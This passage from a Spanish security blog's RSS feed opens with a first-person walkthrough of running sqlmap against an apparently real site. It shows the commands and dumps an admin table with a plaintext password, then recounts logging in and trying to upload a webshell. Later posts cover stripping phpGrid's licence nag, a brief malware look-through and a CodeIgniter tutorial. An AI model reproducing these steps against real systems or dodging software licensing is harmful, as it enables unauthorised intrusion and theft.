/&gt;+-----------------------------+&lt;br /&gt;#&lt;/pre&gt;Ahora consulta las columnas de la tabla &lt;b&gt;admin_usuarios&lt;/b&gt;&lt;pre class=&#39;brush: php&#39;&gt;#&lt;br /&gt;python sqlmap.py -u http://[TARGET]/index.php?iddetalle=isep -D xxxxx_xxxxxxxxxxxx -T admin_usuarios --columns&lt;br /&gt;&lt;br /&gt;Database: xxxxx_xxxxxxxxxxxx&lt;br /&gt;Table: admin_usuarios&lt;br /&gt;[6 columns]&lt;br /&gt;+-----------+------------------+&lt;br /&gt;| Column    | Type             |&lt;br /&gt;+-----------+------------------+&lt;br /&gt;| cargo     | varchar(20)      |&lt;br /&gt;| email     | varchar(100)     |&lt;br /&gt;| idusuario | int(10) unsigned |&lt;br /&gt;| login     | varchar(10)      |&lt;br /&gt;| nombre    | varchar(50)      |&lt;br /&gt;| passw     | varchar(32)      |&lt;br /&gt;+-----------+------------------+&lt;br /&gt;#&lt;/pre&gt;Este paso, fue sólo por practicar jajaja, porque pude haberlo printeado de una vez, &lt;pre class=&#39;brush:php&#39;&gt;#&lt;br /&gt;python sqlmap.py -u http://[TARGET]/index.php?iddetalle=isep -D xxxxx_xxxxxxxxxxxx -T admin_usuarios --dump&lt;br /&gt;&lt;br /&gt;Database: xxxxx_xxxxxxxxxxxx&lt;br /&gt;Table: admin_usuarios&lt;br /&gt;[1 entry]&lt;br /&gt;+-----------+-------+-----------+-------+-----------------+--------+&lt;br /&gt;| idusuario | cargo | passw     | login | email           | nombre |&lt;br /&gt;+-----------+-------+-----------+-------+-----------------+--------+&lt;br /&gt;| 14        | Admin | manager07 | admin | admin@admin.com | Admin  |&lt;br /&gt;+-----------+-------+-----------+-------+-----------------+--------+&lt;br /&gt;#&lt;/pre&gt;Ooooppsss! contraseña sin cifrado, soy un megakaker :p &lt;br/&gt;&lt;br/&gt;Bueno, hasta ahora todo va bien, encontre el panel de logueo e ingrese, busque subir una webshell pero por desgracia tiene filtros el upload, intente bypassearlo pero no fue posible &lt;i&gt;-o no fui capaz, por lo menos lo intente-&lt;/i&gt;. &lt;br/&gt;&lt;br/&gt;Encontre otro upload donde se podian subir archivos, pero al intentar ingresar al archivo salia &lt;b&gt;INTERNAL SERVER ERROR&lt;/b&gt;, pero cuando lo subia me mostraba el link para verlo pero cuando ingresaba lo forzaba a descargarse entonces pense, quizás pueda descargar archivos del servidor, y sí, puedo ver los archivos pero nada que pueda generar el ingreso al servidor, la base de datos esta local, hasta aquí puedo llegar voy a seguir mirarndo que puedo hacer, &lt;br/&gt;&lt;br/&gt;Como finalidad la herramienta SQLMap es excelente! &lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2013/04/mi-primera-experiencia-con-sqlmap.html</link><author>noreply@blogger.com (Alex Jurado)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-897656540552123104</guid><pubDate>Tue, 05 Feb 2013 22:47:00 +0000</pubDate><atom:updated>2015-01-23T07:31:26.622-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">PHP</category><category domain="http://www.blogger.com/atom/ns#">phpGrid</category><title>phpGrid Desofuscado al 100%</title><description>&lt;div class=&quot;contenido-post&quot;&gt;&lt;img height=&quot;150&quot; src=&quot;http://1.bp.blogspot.com/-TVtciRzJyMU/UTAkoDhYi8I/AAAAAAAAAW8/RKM83-w2vR8/s640/phpgrid-desofuscado-al-100_2045.png&quot; width=&quot;640&quot; /&gt;Hace poco tiempo escribí una entrada hacer de como &lt;a href=&quot;http://shellrootsecurity.blogspot.com/2012/11/integrar-phpgrid-en-codeigniter.html&quot;&gt;INTEGRAR PHPGRID EN CODEIGNITER&lt;/a&gt;, pues para ser sincero, esta es el único componente del tipo grilla que me gusta y es fácil de usar e instalar. &lt;br /&gt;&lt;br /&gt;Este componente me llevo muchas horas &lt;i&gt;-que por cierto, completamente INNECESARIAS ya les contaré porque-&lt;/i&gt;, a la hora de verle el código fuente real. &lt;br /&gt;&lt;br /&gt;Primero fue el código ofuscado que tenia, &lt;i&gt;-ya habia escrito la forma de bypassearlo en la entrada &lt;a href=&quot;http://shellrootsecurity.blogspot.com/2011/09/anotacion-mental-desofuscacion-de_3762.html&quot;&gt;[ANOTACIÓN MENTAL] DESOFUSCACIÓN DE CÓDIGO PHP&lt;/a&gt;-&lt;/i&gt;. &lt;br /&gt;&lt;br /&gt;Cuando ya todo lo tenia claro, llego la hora desofuscar todo el código y formatearlo &lt;i&gt;-(tabularlo)-&lt;/i&gt;, pero plop, no faltaba más que un control de pago fuera tan fácil de desofuscar para ver código fuente original &lt;i&gt;-pensaba yo-&lt;/i&gt;, cuando llegaba al control ubicado en la ruta, &lt;br /&gt;&lt;pre class=&quot;brush: php&quot;&gt;.\htdocs\phpGrid\server\classes\cls_datagrid.php&lt;/pre&gt;este me daba problemas, al momento de visualización el componente en tiempo de ejecución, &lt;i&gt;-por así decirlo-&lt;/i&gt;, pense en dejarlo así y lo deje por muchoooooo tiempoooooo, hasta el día de hoy, que por motivos laborales tenia que tener un control más limpio en el componente, &lt;i&gt;-quitarle definivamente el mensaje de, versión libre compre la versión full, pffff comprar mis polainas-&lt;/i&gt;, entonces pense en veríficar el código fuente del componente original -ofuscado-, con el que intentaba desofuscar y voala, TODO ESTABA IGUAL :/, ni generaba errores de nunguna clase, pero note que la tabulación era diferente, ya que el código tenia unos comentario y en el original los tabulaba correctamente, pero en la ofuscada interrumpian la ejecución del código siguiente, después de los comentarios... Así que decí quitarlos y ahora si, voala.... phpGrid Desofuscado! &lt;br /&gt;&lt;br /&gt;Para los que quieran, aquí les dejo el componente sin ninguna modificación, &lt;i&gt;-hablando sólo de funcionalidad-&lt;/i&gt;. &lt;br /&gt;&lt;br /&gt;&lt;a href=&quot;https://dl.dropbox.com/u/71932290/Blog/tutoriales/phpGrid_SourceDecrypt/phpGrid.rar&quot; target=&quot;_blank&quot;&gt;phpGrid versión del día 05/02/2013 desofuscado&lt;/a&gt;&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2013/02/phpgrid-desofuscado-al-100_2045.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://1.bp.blogspot.com/-TVtciRzJyMU/UTAkoDhYi8I/AAAAAAAAAW8/RKM83-w2vR8/s72-c/phpgrid-desofuscado-al-100_2045.png" height="72" width="72"/><thr:total>8</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-5165341622121619194</guid><pubDate>Wed, 30 Jan 2013 03:42:00 +0000</pubDate><atom:updated>2013-02-28T20:14:52.780-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Análisis de Malware</category><category domain="http://www.blogger.com/atom/ns#">Facebook</category><title>Análisis de malware + Incremento de visitas en videos de youtube</title><description>&lt;div class=&quot;contenido-post&quot;&gt;&lt;img height=&quot;149&quot; src=&quot;http://2.bp.blogspot.com/-B5h010ElQ2U/UTArDrVrERI/AAAAAAAAAXM/t5YykERrYVs/s640/analisis-de-malware-incremento-de_1461.png&quot; width=&quot;640&quot; /&gt;Después de algun tiempo sin ver malware en facebook, hace algunos días empece a notar una cantidad de visitas a una pagina &quot;rara&quot;, y ver que algunos contactos del facebook se etiquetaban entre sí alocadamente jajajaj. &lt;br /&gt;&lt;br /&gt;Pues me he decido a analizarlo a ver que se puede sacar, esta vez no será profundo sólo veremos que hace asi por encima, &lt;i&gt;-también tengo vida social, y trabajos pendientes :p-&lt;/i&gt;. &lt;br /&gt;&lt;br /&gt;La pagina es la siguiente, &lt;i&gt;-de ahora en adelante, tocará mostrar todo por medio de imagenes, ya que en algunos antivirus reconocen mi blog como un sitio infectado ya que aveces incluia parte del código malicioso-&lt;/i&gt;&lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt; &lt;tbody&gt;&lt;tr&gt;  &lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-XQMp-5E3BdM/UQiJwhGFuzI/AAAAAAAAAVQ/NPT1z1y-P6Y/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;73&quot; src=&quot;http://2.bp.blogspot.com/-XQMp-5E3BdM/UQiJwhGFuzI/AAAAAAAAAVQ/NPT1z1y-P6Y/s400/1.png&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;  &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Imagen 1:&lt;/b&gt; URL de la página.   &lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;Parecierá que identificar el tipo de navegador para intriducir así el pluggin. Bajo y analizo el pluggin &lt;i&gt;-para lo único que es bueno el internet explorer es para bajarme los pluggin ajjaja-&lt;/i&gt;, y lo que me encuentro es raro, realiza como redirecciones a algunos videos de youtube, y para ser sincero, tiene gran numero de visitas. &lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt; &lt;tbody&gt;&lt;tr&gt;  &lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://2.bp.blogspot.com/-pJ71-KASapE/UQiL26Mn2sI/AAAAAAAAAVg/4IiaxBAP9Bs/s1600/1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;388&quot; src=&quot;http://2.bp.blogspot.com/-pJ71-KASapE/UQiL26Mn2sI/AAAAAAAAAVg/4IiaxBAP9Bs/s640/1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;  &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Imagen 2: &lt;/b&gt;Redirecciones a unos videos de youtube.   &lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;Aun no entiendo que hace con la página de ask.fm, jajajaj, por ahora sólo veo, que visita un perfil y un comentario, y un follow a unos usuarios, &lt;br /&gt;&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt; &lt;tbody&gt;&lt;tr&gt;  &lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;http://4.bp.blogspot.com/-eN42I9oFERw/UQiQyx2ANrI/AAAAAAAAAVo/ts8VXPLg_Y0/s1600/1.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;478&quot; src=&quot;http://4.bp.blogspot.com/-eN42I9oFERw/UQiQyx2ANrI/AAAAAAAAAVo/ts8VXPLg_Y0/s640/1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;  &lt;/td&gt; &lt;/tr&gt;&lt;tr&gt;  &lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;&lt;b&gt;Imagen 3:&lt;/b&gt; Interacción con ask.fm   &lt;/td&gt; &lt;/tr&gt;&lt;/tbody&gt; &lt;/table&gt;Como por ultimo realiza algunas cosas en unos perfiles de facebook, &lt;i&gt;-que los quemen a todos jajaja&lt;/i&gt; &lt;a href=&quot;http://3.bp.blogspot.com/-1N6rlklo04Y/UQiVIsL-xKI/AAAAAAAAAV0/yhBJ23lepdQ/s1600/1.png&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;443&quot; src=&quot;http://3.bp.blogspot.com/-1N6rlklo04Y/UQiVIsL-xKI/AAAAAAAAAV0/yhBJ23lepdQ/s640/1.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt; Pues ya, no fue mucho el análisis que hice, sólo mire, nada del otro mundo... Buena manera de &quot;promocionar&quot;, los videos de youtube... &lt;br /&gt;&lt;br /&gt;Todavía queda por analizar unas cuantas cosas, pero esperaré un momento, recordemos como eliminarlo. &lt;br /&gt;&lt;br /&gt;Para &lt;a href=&quot;http://support.google.com/chrome/bin/answer.py?hl=es&amp;amp;answer=113907&quot; target=&quot;_blank&quot;&gt;Google Chrome&lt;/a&gt; Para &lt;a href=&quot;http://support.mozilla.com/es/kb/Desinstalar%20los%20complementos#w_deshabilitar-extensiones-0-personassf-y-plugins&quot; target=&quot;_blank&quot;&gt;Firefox&lt;/a&gt;&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2013/01/analisis-de-malware-incremento-de_1461.html</link><author>noreply@blogger.com (Alex Jurado)</author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="http://2.bp.blogspot.com/-B5h010ElQ2U/UTArDrVrERI/AAAAAAAAAXM/t5YykERrYVs/s72-c/analisis-de-malware-incremento-de_1461.png" height="72" width="72"/><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-8515491688167042455</guid><pubDate>Thu, 29 Nov 2012 06:21:00 +0000</pubDate><atom:updated>2013-02-28T15:04:49.497-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">CodeIgniter</category><category domain="http://www.blogger.com/atom/ns#">MVC</category><category domain="http://www.blogger.com/atom/ns#">PHP</category><category domain="http://www.blogger.com/atom/ns#">phpGrid</category><title>Integrar phpGrid en CodeIgniter</title><description>&lt;div class=&quot;contenido-post&quot;&gt;&lt;img height=&quot;200&quot; src=&quot;http://okhosting.com/Custom/Uploads/HtmlEditor/images/code_igniter.png&quot; width=&quot;173&quot; /&gt;En esta oportunidad les traigo un problema que en mi situación me tomo varios días para su implementación, además de presentarme con esto como moderador de la sección de &lt;a href=&quot;http://whk.drawcoders.com/index.php/board,15.0.html&quot;&gt;Programación WEB&lt;/a&gt; en el foro que esta dirigiendo WHK &lt;i&gt;(&lt;a href=&quot;http://whk.drawcoders.com/&quot;&gt;WHK Security&lt;/a&gt;)&lt;/i&gt;. &lt;br /&gt;&lt;br /&gt;Se trata de la integración de la librería phpGrid con el framework CodeIgniter, de la forma más presentable posible, &lt;i&gt;-hablando estéticamente-&lt;/i&gt;. &lt;br /&gt;&lt;blockquote&gt;Aquí no explicaré la instalación de los componentes, daré por entendido de que ya tiene todo.&lt;/blockquote&gt;&lt;br /&gt;Como es un proyecto básico, &lt;i&gt;-de prueba-&lt;/i&gt;, le daremos permisos a la carpeta phpGrid, &lt;i&gt;-ya que es la carpeta raiz-&lt;/i&gt;. &lt;pre class=&quot;brush: php&quot;&gt;sudo chmod 0777 -R /opt/lampp/htdocs/phpGrid/&lt;/pre&gt;En el archivo &lt;i&gt;../phpGrid/assets/lib/phpGrid_Lite/conf.php&lt;/i&gt;, editar las variables por sus datos reales, &lt;pre class=&quot;brush: php&quot;&gt;define(&#39;DB_HOSTNAME&#39;,&#39;localhost&#39;); // SERVIDOR&lt;br /&gt;define(&#39;DB_USERNAME&#39;, &#39;root&#39;);     // USUARIO&lt;br /&gt;define(&#39;DB_PASSWORD&#39;, &#39;&#39;);         // CONTRASENA&lt;br /&gt;define(&#39;DB_NAME&#39;, &#39;mysql&#39;);        // BASE DE DATOS&lt;br /&gt;define(&#39;DB_TYPE&#39;, &#39;mysql&#39;);&lt;br /&gt;define(&#39;DB_CHARSET&#39;,&#39;utf8&#39;);&lt;br /&gt;&lt;br /&gt;# SNIP&lt;br /&gt;&lt;br /&gt;define(&#39;SERVER_ROOT&#39;, &#39;/phpGrid/assets/lib/phpGrid_Lite&#39;); // PATH DE LA LIBRERÍA&lt;br /&gt;&lt;/pre&gt; Antes que nada, vamos a configurar el framework con algunas características básicas, dentro del archivo &lt;i&gt;./phpGrid/application/config/autoload.php&lt;/i&gt;, que permite la utilización de algunas funciones importantes, &lt;i&gt;-por ahora y quizás por el resto de la aplicación xD-&lt;/i&gt;, &lt;pre class=&quot;brush: php&quot;&gt;# SNIP&lt;br /&gt;$autoload[&#39;helper&#39;] = array(&#39;url&#39;);&lt;br /&gt;# SNIP&lt;/pre&gt; y también en el archivo &lt;i&gt;./phpGrid/application/config/config.php&lt;/i&gt;, pondremos la path completa de la aplicación visualizada desde el servidor local, &lt;i&gt;-ubicación desde el navegador-&lt;/i&gt;. &lt;pre class=&quot;brush: php&quot;&gt;# SNIP&lt;br /&gt;$config[&#39;base_url&#39;] = &#39;http://127.0.0.1/phpGrid/&#39;;&lt;br /&gt;# SNIP&lt;/pre&gt; Ahora vamos a crear la visualización principal con la ayuda de una carpeta llamada &lt;i&gt;template&lt;/i&gt; dentro de la carpeta &lt;i&gt;view&lt;/i&gt;, así podremos tener una aplicación con unos valores estaticos, &lt;i&gt;-que son los valores que se repiten en todas las páginas-&lt;/i&gt;, y tambien dinamicos &lt;i&gt;-vistas independientes del controlador-&lt;/i&gt;. &lt;br/&gt;&lt;br/&gt;&lt;b&gt;template/header.php&lt;/b&gt;, en este archivo se pondrán la cabecera de la pagina, así que todos los estilos y scripts deben de estar aquí. &lt;pre class=&quot;brush: html&quot;&gt;&amp;lt;!DOCTYPE html&amp;gt;&lt;br /&gt;&amp;lt;html&amp;gt;&lt;br /&gt;   &amp;lt;head&amp;gt;&lt;br /&gt;      &amp;lt;meta charset=&amp;#39;utf-8&amp;#39; /&amp;gt;&lt;br /&gt;      &amp;lt;title&amp;gt;&amp;lt;?php echo $title; ?&amp;gt;&amp;lt;/title&amp;gt;&lt;br /&gt;      &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;&amp;lt;?= base_url(&amp;quot;assets/css/style.css&amp;quot;); ?&amp;gt;&amp;quot; /&amp;gt;&lt;br /&gt;      &amp;lt;script src=&amp;quot;&amp;lt;?= base_url(&amp;quot;assets/js/jquery-1.7.1.min.js&amp;quot;); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;      &amp;lt;!-- START  scripts phpGrid --&amp;gt;&lt;br /&gt;      &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;&amp;lt;?= base_url(&amp;quot;assets/lib/phpGrid_Lite/css/start/jquery-ui-1.8.21.custom.css&amp;quot;); ?&amp;gt;&amp;quot; /&amp;gt;&lt;br /&gt;      &amp;lt;link rel=&amp;quot;stylesheet&amp;quot; href=&amp;quot;&amp;lt;?= base_url(&amp;quot;assets/lib/phpGrid_Lite/css/ui.jqgrid.css&amp;quot;); ?&amp;gt;&amp;quot; /&amp;gt;&lt;br /&gt;      &amp;lt;script src=&amp;quot;&amp;lt;?= base_url(&amp;quot;assets/lib/phpGrid_Lite/js/jquery-ui-1.8.21.custom.min.js&amp;quot;); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;      &amp;lt;script src=&amp;quot;&amp;lt;?= base_url(&amp;quot;assets/lib/phpGrid_Lite/js/i18n/grid.locale-es.js&amp;quot;); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;      &amp;lt;script src=&amp;quot;&amp;lt;?= base_url(&amp;quot;assets/lib/phpGrid_Lite/js/jquery.jqGrid.min.js&amp;quot;); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;      &amp;lt;script src=&amp;quot;&amp;lt;?= base_url(&amp;quot;assets/lib/phpGrid_Lite/js/grid.import.fix.js&amp;quot;); ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;      &amp;lt;!-- END    scripts phpGrid --&amp;gt;&lt;br /&gt;   &amp;lt;/head&amp;gt;&lt;br /&gt;   &amp;lt;body&amp;gt;&lt;br /&gt;      &lt;br /&gt;      &amp;lt;header id=&amp;quot;header&amp;quot;&amp;gt;&lt;br /&gt;         &amp;lt;div class=&amp;quot;wrapper&amp;quot;&amp;gt;&lt;br /&gt;            &amp;lt;h1&amp;gt;&amp;lt;?php echo $title; ?&amp;gt;&amp;lt;/h1&amp;gt;&lt;br /&gt;         &amp;lt;/div&amp;gt;&lt;br /&gt;      &amp;lt;/header&amp;gt;&lt;/pre&gt;&lt;b&gt;template/footer.php&lt;/b&gt;, en este archivo se pondrá la finalización HTML de la pagina. &lt;pre class=&quot;brush: html&quot;&gt;      &amp;lt;footer id=&amp;quot;footer&amp;quot;&amp;gt;&lt;br /&gt;         &amp;lt;div class=&amp;quot;wrapper&amp;quot;&amp;gt;&lt;br /&gt;            Tiempo de carga de la pagina &amp;lt;b&amp;gt;{elapsed_time}&amp;lt;/b&amp;gt;.&lt;br /&gt;         &amp;lt;/div&amp;gt;&lt;br /&gt;      &amp;lt;/footer&amp;gt;&lt;br /&gt;   &amp;lt;/body&amp;gt;&lt;br /&gt;&amp;lt;/html&amp;gt;&lt;/pre&gt; Antes de mostrar el código principal, vamos a crear un helper,-helpers/general_helper.php-, con la función &lt;i&gt;desde_hasta(){}&lt;/i&gt;&lt;pre class=&quot;brush:php&quot;&gt;function desde_hasta($desde, $hasta, $contenido)&lt;br /&gt;{&lt;br /&gt;   if(stristr($contenido, $desde))&lt;br /&gt;   {&lt;br /&gt;      $retorno = explode($desde, $contenido);&lt;br /&gt;      unset($retorno[0]);&lt;br /&gt;      foreach($retorno as $retorn)&lt;br /&gt;      {&lt;br /&gt;         $retorn = explode($hasta, $retorn);&lt;br /&gt;         $retorn = $retorn[0];&lt;br /&gt;         $retornar[] = $retorn;&lt;br /&gt;      }&lt;br /&gt;      return $retornar[0];&lt;br /&gt;   }else{ return FALSE; }&lt;br /&gt;}&lt;/pre&gt;&lt;blockquote&gt;Esta función es creada y usada con el fin de sólo recolectar el código javascript usado para generar el objeto phpGrid, ya qué esté agrega un código y presenta conflicto a la hora de mostrarlo, &lt;i&gt;-el código es innecesario, es para crear una capa donde se muestra que la versión actual es libre y para obtenerla full hay que comprarla, así que no afecta en nada :p-&lt;/i&gt;&lt;/blockquote&gt; Bien se sabe que la metodología usada en CodeIgniter es la MVC &lt;i&gt;(Modelo-Vista-Controlador)&lt;/i&gt;, así que en el controlador &lt;i&gt;controllers/welcome&lt;/i&gt; vamos a ingresar la interacción entre el modelo para mostrarlo en la vista, &lt;pre class=&quot;brush: php&quot;&gt;class Welcome extends CI_Controller {&lt;br /&gt;   public function index()&lt;br /&gt;   {&lt;br /&gt;      $sql = &quot;SELECT id,nombre,estado FROM perfil&quot;;&lt;br /&gt;      &lt;br /&gt;      $this-&gt;load-&gt;model(&quot;welcome_model&quot;, &quot;welcome&quot;);&lt;br /&gt;      $this-&gt;welcome-&gt;set_phpGrid($sql, &quot;id&quot;, &quot;perfil&quot;);&lt;br /&gt;      $phpGrid = $this-&gt;welcome-&gt;get_phpGrid();      &lt;br /&gt;      &lt;br /&gt;      $this-&gt;load-&gt;view(&#39;template/header&#39;, array(&#39;title&#39;=&gt;&#39;Integrar phpGrid con CodeIgniter&#39;));&lt;br /&gt;      $this-&gt;load-&gt;view(&#39;welcome&#39;, array(&#39;phpGrid&#39;=&gt;$phpGrid));&lt;br /&gt;      $this-&gt;load-&gt;view(&#39;template/footer&#39;);&lt;br /&gt;   }&lt;br /&gt;}&lt;/pre&gt;&lt;blockquote&gt;Para destacar vieron que al llamar una vista, le pasó un parametro del tipo array? Esto es para tener un contenido &quot;variable&quot; en la vista, es como si fuera una variable conmún y corriente, sólo que no tiene valor en la vista, lo obtiene como parámetro enviado desde el controlador. &lt;br/&gt;&lt;br/&gt;Más información &lt;a href=&quot;http://ellislab.com/codeigniter/user-guide/general/views.html&quot;&gt;aquí&lt;/a&gt;...&lt;/blockquote&gt;en el modelo &lt;i&gt;models/welcome_model&lt;/i&gt;, esta la capa de consultas, &lt;pre class=&quot;brush: php&quot;&gt;// INCLUIR LIBRERIA&lt;br /&gt;require_once( &amp;#39;//opt//lampp//htdocs//phpGrid//assets//lib//phpGrid_Lite//conf.php&amp;#39; );&lt;br /&gt;&lt;br /&gt;class Welcome_model extends CI_Model&lt;br /&gt;{&lt;br /&gt;   &lt;br /&gt;   var $_phpGrid = NULL;&lt;br /&gt;   var $_tableName = NULL;&lt;br /&gt;   &lt;br /&gt;   function set_phpGrid($sql, $sql_key, $sql_table, $title = &amp;quot;phpGrid1Standar&amp;quot;)&lt;br /&gt;   {&lt;br /&gt;      // INSTANCIA DE LA CLASE&lt;br /&gt;      $this-&amp;gt;_tableName = $sql_table;&lt;br /&gt;      $this-&amp;gt;_phpGrid = new C_DataGrid( $sql, $sql_key, $sql_table );&lt;br /&gt;      // IDIOMA&lt;br /&gt;      $this-&amp;gt;_phpGrid-&amp;gt;set_locale(&amp;#39;es&amp;#39;);&lt;br /&gt;      // BUSQUEDA AVANZADA&lt;br /&gt;      $this-&amp;gt;_phpGrid-&amp;gt;enable_advanced_search(true);&lt;br /&gt;      // PERSONALIZAR phpGrid&lt;br /&gt;      $this-&amp;gt;_phpGrid-&amp;gt;set_caption( $title );&lt;br /&gt;      // EXPORTAR A EXCEL&lt;br /&gt;      $this-&amp;gt;_phpGrid-&amp;gt;enable_export( &amp;#39;EXCEL&amp;#39; );&lt;br /&gt;      // AUTO-AJUSTABLE&lt;br /&gt;      $this-&amp;gt;_phpGrid-&amp;gt;enable_autowidth(true);&lt;br /&gt;   }&lt;br /&gt;   &lt;br /&gt;   function get_phpGrid()&lt;br /&gt;   {&lt;br /&gt;      // NO MOSTRAR DIRECTAMENTE EL phpGrid&lt;br /&gt;      $this-&amp;gt;_phpGrid-&amp;gt;display(false);&lt;br /&gt;      // RECUPERAR EL SOURCE&lt;br /&gt;      $phpGrid = $this-&amp;gt;_phpGrid-&amp;gt;get_display(false);&lt;br /&gt;      // SELECCIONAR EL C&amp;#211;DIGO JAVASCRIPT&lt;br /&gt;      $this-&amp;gt;load-&amp;gt;helper(&amp;quot;general&amp;quot;);&lt;br /&gt;      $phpGrid = desde_hasta(&amp;#39;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&amp;#39;, &amp;quot;&amp;lt;/script&amp;gt;&amp;quot;, $phpGrid);&lt;br /&gt;      // CONFIGURAR SOURCE Y CAPAS&lt;br /&gt;      $phpGrid = &amp;quot;&amp;lt;script&amp;gt;&amp;quot;.$phpGrid.&amp;quot;&amp;lt;/script&amp;gt;&amp;lt;table id=&amp;#39;&amp;quot;.$this-&amp;gt;_tableName.&amp;quot;&amp;#39;&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;div id=&amp;#39;&amp;quot;.$this-&amp;gt;_tableName.&amp;quot;_pager1&amp;#39;&amp;gt;&amp;lt;/div&amp;gt;&amp;quot;;&lt;br /&gt;      return $phpGrid;&lt;br /&gt;   }&lt;br /&gt;}&lt;/pre&gt;&lt;blockquote&gt;Como lo dije antes, se presentaba un conflicto si no extraía el código javascript y lo mostraba en limpio, así que opte por sacarlo y formar una cadena HTML simulando la que supongo que es la real.&lt;/blockquote&gt;y en la vista &lt;i&gt;views/welcome&lt;/i&gt;, lo que se va visualizar, &lt;pre class=&quot;brush: html&quot;&gt;&amp;lt;section id=&amp;quot;div_phpGrid&amp;quot;&amp;gt;&lt;br /&gt;   &amp;lt;div class=&amp;quot;wrapper&amp;quot;&amp;gt;&lt;br /&gt;      &amp;lt;?php echo $phpGrid; ?&amp;gt;&lt;br /&gt;   &amp;lt;/div&amp;gt;&lt;br /&gt;&amp;lt;/section&amp;gt;&lt;/pre&gt; Con esto ya tenemos unido la librería phpGrid en CodeIgniter. &lt;blockquote&gt;&lt;b&gt;NOTA:&lt;/b&gt;Cabe destacar qué los archivos de la librería phpGrid, son puestos inicialmente en el archivo &lt;i&gt;template/header&lt;/i&gt;, y así al ser invocado no se crearía una estructura HTML completa y quedá mucho más limpio.&lt;/blockquote&gt;PD: La función &lt;i&gt;desde_hasta(){}&lt;/i&gt;, es una modificación de la función de &lt;a href=&quot;http://pastebin.com/8QYAeXpQ&quot;&gt;WHK&lt;/a&gt;, &lt;i&gt;-estaba obsoleta-&lt;/i&gt;, que hizo &lt;a href=&quot;http://foro.elhacker.net/php/seleccionar_con_explode_varias_palabras-t364980.0.html;msg1758888#msg1758888&quot;&gt;drvy|BSM&lt;/a&gt;&lt;/div&gt;</description><link>http://shellrootsecurity.blogspot.com/2012/11/integrar-phpgrid-en-codeigniter_1370.html</link><author>noreply@blogger.com (Alex Jurado)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-3627674836739440773.post-1953446835123116000</guid><pubDate>Tue, 08 May 2012 00:20:00 +0000</pubDate><atom:updated>2013-02-28T15:05:00.046-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Desarrollo</category><category domain="http://www.blogger.com/atom/ns#">Diseño</category><category domain="http://www.blogger.com/atom/ns#">Herramientas</category><title>Diagramar esquema de una pagina web</title><description>&lt;div class=&quot;contenido-post&quot;&gt;&lt;img height=&quot;187&quot; src=&quot;http://2.bp.blogspot.com/-bX9G4ZCKOwo/T6hiVRKgSZI/AAAAAAAAARk/2kiMMchizhc/s200/app.png&quot; width=&quot;200&quot; /&gt;&lt;h3 style=&quot;color: black;&quot;&gt;THE BALSAMIQ MOCKUPS&lt;/h3&gt;Using Mockups feels like drawing, but because it’s digital, you can tweak and rearrange easily. Teams can come up with a design and iterate over it in real-time in the course of a meeting. &lt;br /&gt;&lt;br /&gt;Product managers, designers, developers, and even clients can now work together in the same tool to quickly iterate over wireframes, before writing code. &lt;br /&gt;&lt;br /&gt;After 30 months in business, 40k+ customers and over $4.5M in sales 